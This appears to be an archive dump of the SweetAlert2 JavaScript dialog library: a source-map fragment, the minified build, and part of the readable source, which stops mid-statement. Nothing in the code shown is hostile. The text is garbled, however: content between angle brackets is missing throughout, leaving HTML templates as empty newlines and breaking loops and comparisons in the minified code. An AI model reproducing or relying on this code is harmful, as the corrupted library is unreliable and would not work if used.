a,KAAK,KAAK,CAAvB,IAA4Ba,MAAM,KAAKC,MAF1C,EAGE;aACO,KAAP;;;;SAIG,IAAP;;;;;"}sweetalert2.min.js000064400000126372151735567630010162 0ustar00!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t=t||self).Sweetalert2=e()}(this,function(){"use strict";function r(t){return(r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function a(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){for(var n=0;nt.clientHeight)}function lt(t){var e=window.getComputedStyle(t),n=parseFloat(e.getPropertyValue("animation-duration")||"0"),o=parseFloat(e.getPropertyValue("transition-duration")||"0");return 0\n
\n
    \n
    \n
    \n
    \n
    \n
    \n \n

    \n \n
    \n
    \n
    \n \n \n
    \n \n \n
    \n \n
    \n \n \n
    \n
    \n
    \n
    \n \n \n \n
    \n
    \n
    \n
    \n
    \n \n').replace(/(^|\n)\s*/g,""),kt=function(t){var e,n,o,i,r,a,s,c,u,l,d,p,f,m,h,g=!!(e=C())&&(e.parentNode.removeChild(e),yt([document.documentElement,document.body],[J["no-backdrop"],J["toast-shown"],J["has-column"]]),!0);pt()?Y("SweetAlert2 requires document to initialize"):((n=document.createElement("div")).className=J.container,g&&vt(n,J["no-transition"]),_(n,Ct),(o="string"==typeof(i=t.target)?document.querySelector(i):i).appendChild(n),r=t,(a=x()).setAttribute("role",r.toast?"alert":"dialog"),a.setAttribute("aria-live",r.toast?"polite":"assertive"),r.toast||a.setAttribute("aria-modal","true"),s=o,"rtl"===window.getComputedStyle(s).direction&&vt(C(),J.rtl),c=A(),u=bt(c,J.input),l=bt(c,J.file),d=c.querySelector(".".concat(J.range," input")),p=c.querySelector(".".concat(J.range," output")),f=bt(c,J.select),m=c.querySelector(".".concat(J.checkbox," input")),h=bt(c,J.textarea),u.oninput=ft,l.onchange=ft,f.onchange=ft,m.onchange=ft,h.oninput=ft,d.oninput=function(t){ft(t),p.value=d.value},d.onchange=function(t){ft(t),d.nextSibling.value=d.value})},xt=function(t,e){t.jquery?Bt(e,t):_(e,t.toString())},Bt=function(t,e){if(t.textContent="",0 in e)for(var n=0;n in e;n++)t.appendChild(e[n].cloneNode(!0));else t.appendChild(e.cloneNode(!0))},Pt=function(){if(pt())return!1;var t=document.createElement("div"),e={WebkitAnimation:"webkitAnimationEnd",OAnimation:"oAnimationEnd oanimationend",animation:"animationend"};for(var n in e)if(Object.prototype.hasOwnProperty.call(e,n)&&void 0!==t.style[n])return e[n];return!1}();function At(t,e,n){var o;ct(t,n["show".concat((o=e).charAt(0).toUpperCase()+o.slice(1),"Button")],"inline-block"),_(t,n["".concat(e,"ButtonText")]),t.setAttribute("aria-label",n["".concat(e,"ButtonAriaLabel")]),t.className=J[e],z(t,n,"".concat(e,"Button")),vt(t,n["".concat(e,"ButtonClass")])}function St(t,e){var n,o,i,r,a,s,c,u,l=C();l&&(n=l,"string"==typeof(o=e.backdrop)?n.style.background=o:o||vt([document.documentElement,document.body],J["no-backdrop"]),!e.backdrop&&e.allowOutsideClick&&K('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`'),i=l,(r=e.position)in J?vt(i,J[r]):(K('The "position" parameter is not valid, defaulting to "center"'),vt(i,J.center)),a=l,!(s=e.grow)||"string"!=typeof s||(c="grow-".concat(s))in J&&vt(a,J[c]),z(l,e,"container"),(u=document.body.getAttribute("data-swal2-queue-step"))&&(l.setAttribute("data-queue-step",u),document.body.removeAttribute("data-swal2-queue-step")))}function Et(t,e){t.placeholder&&!e.inputPlaceholder||(t.placeholder=e.inputPlaceholder)}var Ot={promise:new WeakMap,innerParams:new WeakMap,domCache:new WeakMap},Tt=["input","file","range","select","radio","checkbox","textarea"],Lt=function(t){if(!It[t.input])return Y('Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "'.concat(t.input,'"'));var e=jt(t.input),n=It[t.input](e,t);rt(n),setTimeout(function(){nt(n)})},Dt=function(t,e){var n=et(A(),t);if(n)for(var o in!function(t){for(var e=0;e=c.progressSteps.length&&K("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)"),c.progressSteps.forEach(function(t,e){var n,o,i,r,a,s=(n=t,o=document.createElement("li"),vt(o,J["progress-step"]),_(o,n),o);u.appendChild(s),e===l&&vt(s,J["active-progress-step"]),e!==c.progressSteps.length-1&&(r=c,a=document.createElement("li"),vt(a,J["progress-step-line"]),r.progressStepsDistance&&(a.style.width=r.progressStepsDistance),i=a,u.appendChild(i))})}function Ht(t,e){var n,o,i,r,a,s,c,u,l=I();z(l,e,"header"),Rt(0,e),n=t,o=e,(r=Ot.innerParams.get(n))&&o.icon===r.icon&&B()?Ft(B(),o):(_t(),o.icon&&(-1!==Object.keys(X).indexOf(o.icon)?(i=k(".".concat(J.icon,".").concat(X[o.icon])),rt(i),Wt(i,o),Ft(i,o),vt(i,o.showClass.icon)):Y('Unknown icon! Expected "success", "error", "warning", "info" or "question", got "'.concat(o.icon,'"')))),function(t){var e=S();if(!t.imageUrl)return at(e);rt(e,""),e.setAttribute("src",t.imageUrl),e.setAttribute("alt",t.imageAlt),it(e,"width",t.imageWidth),it(e,"height",t.imageHeight),e.className=J.image,z(e,t,"image")}(e),a=e,s=P(),ct(s,a.title||a.titleText),a.title&&mt(a.title,s),a.titleText&&(s.innerText=a.titleText),z(s,a,"title"),c=e,u=R(),_(u,c.closeButtonHtml),z(u,c,"closeButton"),ct(u,c.showCloseButton),u.setAttribute("aria-label",c.closeButtonAriaLabel)}function Nt(t,e){var n,o,i,r;n=e,o=x(),it(o,"width",n.width),it(o,"padding",n.padding),n.background&&(o.style.background=n.background),Qt(o,n),St(0,e),Ht(t,e),Mt(t,e),ht(0,e),i=e,r=M(),ct(r,i.footer),i.footer&&mt(i.footer,r),z(r,i,"footer"),"function"==typeof e.didRender?e.didRender(x()):"function"==typeof e.onRender&&e.onRender(x())}function Ut(){return T()&&T().click()}var _t=function(){for(var t=n(),e=0;e\n \n
    \n
    \n '):"error"===e.icon?_(t,'\n \n \n \n \n '):_(t,Yt({question:"?",warning:"!",info:"i"}[e.icon]))},Kt=function(t,e){if(e.iconColor){t.style.color=e.iconColor,t.style.borderColor=e.iconColor;for(var n=0,o=[".swal2-success-line-tip",".swal2-success-line-long",".swal2-x-mark-line-left",".swal2-x-mark-line-right"];n').concat(t,"")},Zt=[],Qt=function(t,e){t.className="".concat(J.popup," ").concat(wt(t)?e.showClass.popup:""),e.toast?(vt([document.documentElement,document.body],J["toast-shown"]),vt(t,J.toast)):vt(t,J.modal),z(t,e,"popup"),"string"==typeof e.customClass&&vt(t,e.customClass),e.icon&&vt(t,J["icon-".concat(e.icon)])};function $t(){var t=x();t||bn.fire(),t=x();var e=j(),n=T(),o=D();rt(e),at(n),vt([t,e],J.loading),rt(o),t.setAttribute("data-loading",!0),t.setAttribute("aria-busy",!0),t.focus()}function Jt(){return new Promise(function(t){var e=window.scrollX,n=window.scrollY;oe.restoreFocusTimeout=setTimeout(function(){oe.previousActiveElement&&oe.previousActiveElement.focus?(oe.previousActiveElement.focus(),oe.previousActiveElement=null):document.body&&document.body.focus(),t()},100),void 0!==e&&void 0!==n&&window.scrollTo(e,n)})}function Xt(){if(oe.timeout)return function(){var t=V(),e=parseInt(window.getComputedStyle(t).width);t.style.removeProperty("transition"),t.style.width="100%";var n=parseInt(window.getComputedStyle(t).width),o=parseInt(e/n*100);t.style.removeProperty("transition"),t.style.width="".concat(o,"%")}(),oe.timeout.stop()}function Gt(){if(oe.timeout){var t=oe.timeout.start();return dt(t),t}}function te(t){return Object.prototype.hasOwnProperty.call(ie,t)}function ee(t){return ae[t]}function ne(t){for(var e in t)te(i=e)||K('Unknown parameter "'.concat(i,'"')),t.toast&&(o=e,-1!==se.indexOf(o)&&K('The parameter "'.concat(o,'" is incompatible with toasts'))),ee(n=e)&&g(n,ee(n));var n,o,i}var oe={},ie={title:"",titleText:"",text:"",html:"",footer:"",icon:void 0,iconColor:void 0,iconHtml:void 0,toast:!1,animation:!0,showClass:{popup:"swal2-show",backdrop:"swal2-backdrop-show",icon:"swal2-icon-show"},hideClass:{popup:"swal2-hide",backdrop:"swal2-backdrop-hide",icon:"swal2-icon-hide"},customClass:void 0,target:"body",backdrop:!0,heightAuto:!0,allowOutsideClick:!0,allowEscapeKey:!0,allowEnterKey:!0,stopKeydownPropagation:!0,keydownListenerCapture:!1,showConfirmButton:!0,showDenyButton:!1,showCancelButton:!1,preConfirm:void 0,confirmButtonText:"OK",confirmButtonAriaLabel:"",confirmButtonColor:void 0,denyButtonText:"No",denyButtonAriaLabel:"",denyButtonColor:void 0,cancelButtonText:"Cancel",cancelButtonAriaLabel:"",cancelButtonColor:void 0,buttonsStyling:!0,reverseButtons:!1,focusConfirm:!0,focusDeny:!1,focusCancel:!1,showCloseButton:!1,closeButtonHtml:"×",closeButtonAriaLabel:"Close this dialog",loaderHtml:"",showLoaderOnConfirm:!1,imageUrl:void 0,imageWidth:void 0,imageHeight:void 0,imageAlt:"",timer:void 0,timerProgressBar:!1,width:void 0,padding:void 0,background:void 0,input:void 0,inputPlaceholder:"",inputValue:"",inputOptions:{},inputAutoTrim:!0,inputAttributes:{},inputValidator:void 0,validationMessage:void 0,grow:!1,position:"center",progressSteps:[],currentProgressStep:void 0,progressStepsDistance:void 0,onBeforeOpen:void 0,onOpen:void 0,willOpen:void 0,didOpen:void 0,onRender:void 0,didRender:void 0,onClose:void 0,onAfterClose:void 0,willClose:void 0,didClose:void 0,onDestroy:void 0,didDestroy:void 0,scrollbarPadding:!0},re=["allowEscapeKey","allowOutsideClick","background","buttonsStyling","cancelButtonAriaLabel","cancelButtonColor","cancelButtonText","closeButtonAriaLabel","closeButtonHtml","confirmButtonAriaLabel","confirmButtonColor","confirmButtonText","currentProgressStep","customClass","denyButtonAriaLabel","denyButtonColor","denyButtonText","didClose","didDestroy","footer","hideClass","html","icon","iconColor","imageAlt","imageHeight","imageUrl","imageWidth","onAfterClose","onClose","onDestroy","progressSteps","reverseButtons","showCancelButton","showCloseButton","showConfirmButton","showDenyButton","text","title","titleText","willClose"],ae={animation:'showClass" and "hideClass',onBeforeOpen:"willOpen",onOpen:"didOpen",onRender:"didRender",onClose:"willClose",onAfterClose:"didClose",onDestroy:"didDestroy"},se=["allowOutsideClick","allowEnterKey","backdrop","focusConfirm","focusDeny","focusCancel","heightAuto","keydownListenerCapture"],ce=Object.freeze({isValidParameter:te,isUpdatableParameter:function(t){return-1!==re.indexOf(t)},isDeprecatedParameter:ee,argsToParams:function(o){var i={};return"object"!==r(o[0])||w(o[0])?["title","html","icon"].forEach(function(t,e){var n=o[e];"string"==typeof n||w(n)?i[t]=n:void 0!==n&&Y("Unexpected type of ".concat(t,'! Expected "string" or "Element", got ').concat(r(n)))}):c(i,o[0]),i},isVisible:function(){return wt(x())},clickConfirm:Ut,clickDeny:function(){return L()&&L().click()},clickCancel:function(){return q()&&q().click()},getContainer:C,getPopup:x,getTitle:P,getContent:A,getHtmlContainer:function(){return e(J["html-container"])},getImage:S,getIcon:B,getIcons:n,getCloseButton:R,getActions:j,getConfirmButton:T,getDenyButton:L,getCancelButton:q,getHeader:I,getFooter:M,getTimerProgressBar:V,getFocusableElements:H,getValidationMessage:O,isLoading:U,fire:function(){for(var t=arguments.length,e=new Array(t),n=0;nwindow.innerHeight&&(tt.previousBodyPadding=parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right")),document.body.style.paddingRight="".concat(tt.previousBodyPadding+function(){var t=document.createElement("div");t.className=J["scrollbar-measure"],document.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e}(),"px"))}function de(){return!!window.MSInputMethodContext&&!!document.documentMode}function pe(){var t=C(),e=x();t.style.removeProperty("align-items"),e.offsetTop<0&&(t.style.alignItems="flex-start")}var fe=function(){navigator.userAgent.match(/(CriOS|FxiOS|EdgiOS|YaBrowser|UCBrowser)/i)||x().scrollHeight>window.innerHeight-44&&(C().style.paddingBottom="".concat(44,"px"))},me=function(){var e,t=C();t.ontouchstart=function(t){e=he(t.target)},t.ontouchmove=function(t){e&&(t.preventDefault(),t.stopPropagation())}},he=function(t){var e=C();return t===e||!(ut(e)||"INPUT"===t.tagName||ut(A())&&A().contains(t))},ge={swalPromiseResolve:new WeakMap};function ve(t,e,n,o){var i;n?Ce(t,o):(Jt().then(function(){return Ce(t,o)}),oe.keydownTarget.removeEventListener("keydown",oe.keydownHandler,{capture:oe.keydownListenerCapture}),oe.keydownHandlerAdded=!1),e.parentNode&&!document.body.getAttribute("data-swal2-queue-step")&&e.parentNode.removeChild(e),N()&&(null!==tt.previousBodyPadding&&(document.body.style.paddingRight="".concat(tt.previousBodyPadding,"px"),tt.previousBodyPadding=null),F(document.body,J.iosfix)&&(i=parseInt(document.body.style.top,10),yt(document.body,J.iosfix),document.body.style.top="",document.body.scrollTop=-1*i),"undefined"!=typeof window&&de()&&window.removeEventListener("resize",pe),h(document.body.children).forEach(function(t){t.hasAttribute("data-previous-aria-hidden")?(t.setAttribute("aria-hidden",t.getAttribute("data-previous-aria-hidden")),t.removeAttribute("data-previous-aria-hidden")):t.removeAttribute("aria-hidden")})),yt([document.documentElement,document.body],[J.shown,J["height-auto"],J["no-backdrop"],J["toast-shown"],J["toast-column"]])}function ye(t){var e,n,o,i=x();i&&(t=function(t){return void 0!==t?c({isConfirmed:!1,isDenied:!1,isDismissed:!1},t):{isConfirmed:!1,isDenied:!1,isDismissed:!0}}(t),(e=Ot.innerParams.get(this))&&!F(i,e.hideClass.popup)&&(n=ge.swalPromiseResolve.get(this),yt(i,e.showClass.popup),vt(i,e.hideClass.popup),o=C(),yt(o,e.showClass.backdrop),vt(o,e.hideClass.backdrop),function(t,e,n){var o=C(),i=Pt&<(e),r=n.onClose,a=n.onAfterClose,s=n.willClose,c=n.didClose;if(be(e,s,r),i){we(t,e,o,c||a)}else{ve(t,o,G(),c||a)}}(this,i,e),n(t)))}var be=function(t,e,n){null!==e&&"function"==typeof e?e(t):null!==n&&"function"==typeof n&&n(t)},we=function(t,e,n,o){oe.swalCloseEventFinishedCallback=ve.bind(null,t,n,G(),o),e.addEventListener(Pt,function(t){t.target===e&&(oe.swalCloseEventFinishedCallback(),delete oe.swalCloseEventFinishedCallback)})},Ce=function(t,e){setTimeout(function(){"function"==typeof e&&e(),t._destroy()})};function ke(t,e,n){var o=Ot.domCache.get(t);e.forEach(function(t){o[t].disabled=n})}function xe(t,e){if(!t)return!1;if("radio"===t.type)for(var n=t.parentNode.parentNode.querySelectorAll("input"),o=0;o")),kt(t)}function Se(t){var e=C(),n=x();"function"==typeof t.willOpen?t.willOpen(n):"function"==typeof t.onBeforeOpen&&t.onBeforeOpen(n);var o=window.getComputedStyle(document.body).overflowY;Ne(e,n,t),setTimeout(function(){Re(e,n)},10),N()&&(He(e,t.scrollbarPadding,o),h(document.body.children).forEach(function(t){t===C()||function(t,e){if("function"==typeof t.contains)return t.contains(e)}(t,C())||(t.hasAttribute("aria-hidden")&&t.setAttribute("data-previous-aria-hidden",t.getAttribute("aria-hidden")),t.setAttribute("aria-hidden","true"))})),G()||oe.previousActiveElement||(oe.previousActiveElement=document.activeElement),Ve(n,t),yt(e,J["no-transition"])}function Ee(t){var e,n=x();t.target===n&&(e=C(),n.removeEventListener(Pt,Ee),e.style.overflowY="auto")}function Oe(t,e){"select"===e.input||"radio"===e.input?ze(t,e):-1!==["text","email","number","tel","textarea"].indexOf(e.input)&&(v(e.inputValue)||b(e.inputValue))&&We(t,e)}function Te(t,e){t.disableButtons(),e.input?Ze(t,e):$e(t,e,!0)}function Le(t){t.disableButtons(),Qe(t)}function De(t,e){t.disableButtons(),e($.cancel)}function qe(t,e){t.closePopup({isConfirmed:!0,value:e})}function je(e,t,n,o){t.keydownTarget&&t.keydownHandlerAdded&&(t.keydownTarget.removeEventListener("keydown",t.keydownHandler,{capture:t.keydownListenerCapture}),t.keydownHandlerAdded=!1),n.toast||(t.keydownHandler=function(t){return tn(e,t,o)},t.keydownTarget=n.keydownListenerCapture?window:x(),t.keydownListenerCapture=n.keydownListenerCapture,t.keydownTarget.addEventListener("keydown",t.keydownHandler,{capture:t.keydownListenerCapture}),t.keydownHandlerAdded=!0)}function Ie(t,e,n){var o=H(),i=0;if(i b) { return 1; } else if (a < b) { return -1; } return 0; }); var otherFocusableElements = toArray(getPopup().querySelectorAll(focusable)).filter(function (el) { return el.getAttribute('tabindex') !== '-1'; }); return uniqueArray(focusableElementsWithTabindex.concat(otherFocusableElements)).filter(function (el) { return isVisible(el); }); }; var isModal = function isModal() { return !isToast() && !document.body.classList.contains(swalClasses['no-backdrop']); }; var isToast = function isToast() { return document.body.classList.contains(swalClasses['toast-shown']); }; var isLoading = function isLoading() { return getPopup().hasAttribute('data-loading'); }; var states = { previousBodyPadding: null }; var setInnerHtml = function setInnerHtml(elem, html) { // #1926 elem.textContent = ''; if (html) { var parser = new DOMParser(); var parsed = parser.parseFromString(html, "text/html"); toArray(parsed.querySelector('head').childNodes).forEach(function (child) { elem.appendChild(child); }); toArray(parsed.querySelector('body').childNodes).forEach(function (child) { elem.appendChild(child); }); } }; var hasClass = function hasClass(elem, className) { if (!className) { return false; } var classList = className.split(/\s+/); for (var i = 0; i < classList.length; i++) { if (!elem.classList.contains(classList[i])) { return false; } } return true; }; var removeCustomClasses = function removeCustomClasses(elem, params) { toArray(elem.classList).forEach(function (className) { if (!(objectValues(swalClasses).indexOf(className) !== -1) && !(objectValues(iconTypes).indexOf(className) !== -1) && !(objectValues(params.showClass).indexOf(className) !== -1)) { elem.classList.remove(className); } }); }; var applyCustomClass = function applyCustomClass(elem, params, className) { removeCustomClasses(elem, params); if (params.customClass && params.customClass[className]) { if (typeof params.customClass[className] !== 'string' && !params.customClass[className].forEach) { return warn("Invalid type of customClass.".concat(className, "! Expected string or iterable object, got \"").concat(_typeof(params.customClass[className]), "\"")); } addClass(elem, params.customClass[className]); } }; function getInput(content, inputType) { if (!inputType) { return null; } switch (inputType) { case 'select': case 'textarea': case 'file': return getChildByClass(content, swalClasses[inputType]); case 'checkbox': return content.querySelector(".".concat(swalClasses.checkbox, " input")); case 'radio': return content.querySelector(".".concat(swalClasses.radio, " input:checked")) || content.querySelector(".".concat(swalClasses.radio, " input:first-child")); case 'range': return content.querySelector(".".concat(swalClasses.range, " input")); default: return getChildByClass(content, swalClasses.input); } } var focusInput = function focusInput(input) { input.focus(); // place cursor at end of text in text input if (input.type !== 'file') { // http://stackoverflow.com/a/2345915 var val = input.value; input.value = ''; input.value = val; } }; var toggleClass = function toggleClass(target, classList, condition) { if (!target || !classList) { return; } if (typeof classList === 'string') { classList = classList.split(/\s+/).filter(Boolean); } classList.forEach(function (className) { if (target.forEach) { target.forEach(function (elem) { condition ? elem.classList.add(className) : elem.classList.remove(className); }); } else { condition ? target.classList.add(className) : target.classList.remove(className); } }); }; var addClass = function addClass(target, classList) { toggleClass(target, classList, true); }; var removeClass = function removeClass(target, classList) { toggleClass(target, classList, false); }; var getChildByClass = function getChildByClass(elem, className) { for (var i = 0; i < elem.childNodes.length; i++) { if (hasClass(elem.childNodes[i], className)) { return elem.childNodes[i]; } } }; var applyNumericalStyle = function applyNumericalStyle(elem, property, value) { if (value || parseInt(value) === 0) { elem.style[property] = typeof value === 'number' ? "".concat(value, "px") : value; } else { elem.style.removeProperty(property); } }; var show = function show(elem) { var display = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 'flex'; elem.style.display = display; }; var hide = function hide(elem) { elem.style.display = 'none'; }; var setStyle = function setStyle(parent, selector, property, value) { var el = parent.querySelector(selector); if (el) { el.style[property] = value; } }; var toggle = function toggle(elem, condition, display) { condition ? show(elem, display) : hide(elem); }; // borrowed from jquery $(elem).is(':visible') implementation var isVisible = function isVisible(elem) { return !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length)); }; /* istanbul ignore next */ var isScrollable = function isScrollable(elem) { return !!(elem.scrollHeight > elem.clientHeight); }; // borrowed from https://stackoverflow.com/a/46352119 var hasCssAnimation = function hasCssAnimation(elem) { var style = window.getComputedStyle(elem); var animDuration = parseFloat(style.getPropertyValue('animation-duration') || '0'); var transDuration = parseFloat(style.getPropertyValue('transition-duration') || '0'); return animDuration > 0 || transDuration > 0; }; var contains = function contains(haystack, needle) { if (typeof haystack.contains === 'function') { return haystack.contains(needle); } }; var animateTimerProgressBar = function animateTimerProgressBar(timer) { var reset = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; var timerProgressBar = getTimerProgressBar(); if (isVisible(timerProgressBar)) { if (reset) { timerProgressBar.style.transition = 'none'; timerProgressBar.style.width = '100%'; } setTimeout(function () { timerProgressBar.style.transition = "width ".concat(timer / 1000, "s linear"); timerProgressBar.style.width = '0%'; }, 10); } }; var stopTimerProgressBar = function stopTimerProgressBar() { var timerProgressBar = getTimerProgressBar(); var timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width); timerProgressBar.style.removeProperty('transition'); timerProgressBar.style.width = '100%'; var timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width); var timerProgressBarPercent = parseInt(timerProgressBarWidth / timerProgressBarFullWidth * 100); timerProgressBar.style.removeProperty('transition'); timerProgressBar.style.width = "".concat(timerProgressBarPercent, "%"); }; // Detect Node env var isNodeEnv = function isNodeEnv() { return typeof window === 'undefined' || typeof document === 'undefined'; }; var sweetHTML = "\n
    \n
    \n
      \n
      \n
      \n
      \n
      \n
      \n \n

      \n \n
      \n
      \n
      \n \n \n
      \n \n \n
      \n \n
      \n \n \n
      \n
      \n
      \n
      \n \n \n \n
      \n
      \n
      \n
      \n
      \n
      \n").replace(/(^|\n)\s*/g, ''); var resetOldContainer = function resetOldContainer() { var oldContainer = getContainer(); if (!oldContainer) { return false; } oldContainer.parentNode.removeChild(oldContainer); removeClass([document.documentElement, document.body], [swalClasses['no-backdrop'], swalClasses['toast-shown'], swalClasses['has-column']]); return true; }; var oldInputVal; // IE11 workaround, see #1109 for details var resetValidationMessage = function resetValidationMessage(e) { if (Swal.isVisible() && oldInputVal !== e.target.value) { Swal.resetValidationMessage(); } oldInputVal = e.target.value; }; var addInputChangeListeners = function addInputChangeListeners() { var content = getContent(); var input = getChildByClass(content, swalClasses.input); var file = getChildByClass(content, swalClasses.file); var range = content.querySelector(".".concat(swalClasses.range, " input")); var rangeOutput = content.querySelector(".".concat(swalClasses.range, " output")); var select = getChildByClass(content, swalClasses.select); var checkbox = content.querySelector(".".concat(swalClasses.checkbox, " input")); var textarea = getChildByClass(content, swalClasses.textarea); input.oninput = resetValidationMessage; file.onchange = resetValidationMessage; select.onchange = resetValidationMessage; checkbox.onchange = resetValidationMessage; textarea.oninput = resetValidationMessage; range.oninput = function (e) { resetValidationMessage(e); rangeOutput.value = range.value; }; range.onchange = function (e) { resetValidationMessage(e); range.nextSibling.value = range.value; }; }; var getTarget = function getTarget(target) { return typeof target === 'string' ? document.querySelector(target) : target; }; var setupAccessibility = function setupAccessibility(params) { var popup = getPopup(); popup.setAttribute('role', params.toast ? 'alert' : 'dialog'); popup.setAttribute('aria-live', params.toast ? 'polite' : 'assertive'); if (!params.toast) { popup.setAttribute('aria-modal', 'true'); } }; var setupRTL = function setupRTL(targetElement) { if (window.getComputedStyle(targetElement).direction === 'rtl') { addClass(getContainer(), swalClasses.rtl); } }; /* * Add modal + backdrop to DOM */ var init = function init(params) { // Clean up the old popup container if it exists var oldContainerExisted = resetOldContainer(); /* istanbul ignore if */ if (isNodeEnv()) { error('SweetAlert2 requires document to initialize'); return; } var container = document.createElement('div'); container.className = swalClasses.container; if (oldContainerExisted) { addClass(container, swalClasses['no-transition']); } setInnerHtml(container, sweetHTML); var targetElement = getTarget(params.target); targetElement.appendChild(container); setupAccessibility(params); setupRTL(targetElement); addInputChangeListeners(); }; var parseHtmlToContainer = function parseHtmlToContainer(param, target) { // DOM element if (param instanceof HTMLElement) { target.appendChild(param); // Object } else if (_typeof(param) === 'object') { handleObject(param, target); // Plain string } else if (param) { setInnerHtml(target, param); } }; var handleObject = function handleObject(param, target) { // JQuery element(s) if (param.jquery) { handleJqueryElem(target, param); // For other objects use their string representation } else { setInnerHtml(target, param.toString()); } }; var handleJqueryElem = function handleJqueryElem(target, elem) { target.textContent = ''; if (0 in elem) { for (var i = 0; (i in elem); i++) { target.appendChild(elem[i].cloneNode(true)); } } else { target.appendChild(elem.cloneNode(true)); } }; var animationEndEvent = function () { // Prevent run in Node env /* istanbul ignore if */ if (isNodeEnv()) { return false; } var testEl = document.createElement('div'); var transEndEventNames = { WebkitAnimation: 'webkitAnimationEnd', OAnimation: 'oAnimationEnd oanimationend', animation: 'animationend' }; for (var i in transEndEventNames) { if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== 'undefined') { return transEndEventNames[i]; } } return false; }(); // https://github.com/twbs/bootstrap/blob/master/js/src/modal.js var measureScrollbar = function measureScrollbar() { var scrollDiv = document.createElement('div'); scrollDiv.className = swalClasses['scrollbar-measure']; document.body.appendChild(scrollDiv); var scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth; document.body.removeChild(scrollDiv); return scrollbarWidth; }; var renderActions = function renderActions(instance, params) { var actions = getActions(); var loader = getLoader(); var confirmButton = getConfirmButton(); var denyButton = getDenyButton(); var cancelButton = getCancelButton(); // Actions (buttons) wrapper if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) { hide(actions); } // Custom class applyCustomClass(actions, params, 'actions'); // Render buttons renderButton(confirmButton, 'confirm', params); renderButton(denyButton, 'deny', params); renderButton(cancelButton, 'cancel', params); // Loader loader.innerHTML = params.loaderHtml; if (params.buttonsStyling) { handleButtonsStyling(confirmButton, denyButton, cancelButton, params); } else { removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled); } if (params.reverseButtons) { actions.insertBefore(cancelButton, loader); actions.insertBefore(denyButton, loader); actions.insertBefore(confirmButton, loader); } }; function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) { addClass([confirmButton, denyButton, cancelButton], swalClasses.styled); // Buttons background colors if (params.confirmButtonColor) { confirmButton.style.backgroundColor = params.confirmButtonColor; } if (params.denyButtonColor) { denyButton.style.backgroundColor = params.denyButtonColor; } if (params.cancelButtonColor) { cancelButton.style.backgroundColor = params.cancelButtonColor; } // Loading state if (!isLoading()) { var confirmButtonBackgroundColor = window.getComputedStyle(confirmButton).getPropertyValue('background-color'); confirmButton.style.borderLeftColor = confirmButtonBackgroundColor; confirmButton.style.borderRightColor = confirmButtonBackgroundColor; } } function renderButton(button, buttonType, params) { toggle(button, params["show".concat(capitalizeFirstLetter(buttonType), "Button")], 'inline-block'); setInnerHtml(button, params["".concat(buttonType, "ButtonText")]); // Set caption text button.setAttribute('aria-label', params["".concat(buttonType, "ButtonAriaLabel")]); // ARIA label // Add buttons custom classes button.className = swalClasses[buttonType]; applyCustomClass(button, params, "".concat(buttonType, "Button")); addClass(button, params["".concat(buttonType, "ButtonClass")]); } function handleBackdropParam(container, backdrop) { if (typeof backdrop === 'string') { container.style.background = backdrop; } else if (!backdrop) { addClass([document.documentElement, document.body], swalClasses['no-backdrop']); } } function handlePositionParam(container, position) { if (position in swalClasses) { addClass(container, swalClasses[position]); } else { warn('The "position" parameter is not valid, defaulting to "center"'); addClass(container, swalClasses.center); } } function handleGrowParam(container, grow) { if (grow && typeof grow === 'string') { var growClass = "grow-".concat(grow); if (growClass in swalClasses) { addClass(container, swalClasses[growClass]); } } } var renderContainer = function renderContainer(instance, params) { var container = getContainer(); if (!container) { return; } handleBackdropParam(container, params.backdrop); if (!params.backdrop && params.allowOutsideClick) { warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`'); } handlePositionParam(container, params.position); handleGrowParam(container, params.grow); // Custom class applyCustomClass(container, params, 'container'); // Set queue step attribute for getQueueStep() method var queueStep = document.body.getAttribute('data-swal2-queue-step'); if (queueStep) { container.setAttribute('data-queue-step', queueStep); document.body.removeAttribute('data-swal2-queue-step'); } }; /** * This module containts `WeakMap`s for each effectively-"private property" that a `Swal` has. * For example, to set the private property "foo" of `this` to "bar", you can `privateProps.foo.set(this, 'bar')` * This is the approach that Babel will probably take to implement private methods/fields * https://github.com/tc39/proposal-private-methods * https://github.com/babel/babel/pull/7555 * Once we have the changes from that PR in Babel, and our core class fits reasonable in *one module* * then we can use that language feature. */ var privateProps = { promise: new WeakMap(), innerParams: new WeakMap(), domCache: new WeakMap() }; var inputTypes = ['input', 'file', 'range', 'select', 'radio', 'checkbox', 'textarea']; var renderInput = function renderInput(instance, params) { var content = getContent(); var innerParams = privateProps.innerParams.get(instance); var rerender = !innerParams || params.input !== innerParams.input; inputTypes.forEach(function (inputType) { var inputClass = swalClasses[inputType]; var inputContainer = getChildByClass(content, inputClass); // set attributes setAttributes(inputType, params.inputAttributes); // set class inputContainer.className = inputClass; if (rerender) { hide(inputContainer); } }); if (params.input) { if (rerender) { showInput(params); } // set custom class setCustomClass(params); } }; var showInput = function showInput(params) { if (!renderInputType[params.input]) { return error("Unexpected type of input! Expected \"text\", \"email\", \"password\", \"number\", \"tel\", \"select\", \"radio\", \"checkbox\", \"textarea\", \"file\" or \"url\", got \"".concat(params.input, "\"")); } var inputContainer = getInputContainer(params.input); var input = renderInputType[params.input](inputContainer, params); show(input); // input autofocus setTimeout(function () { focusInput(input); }); }; var 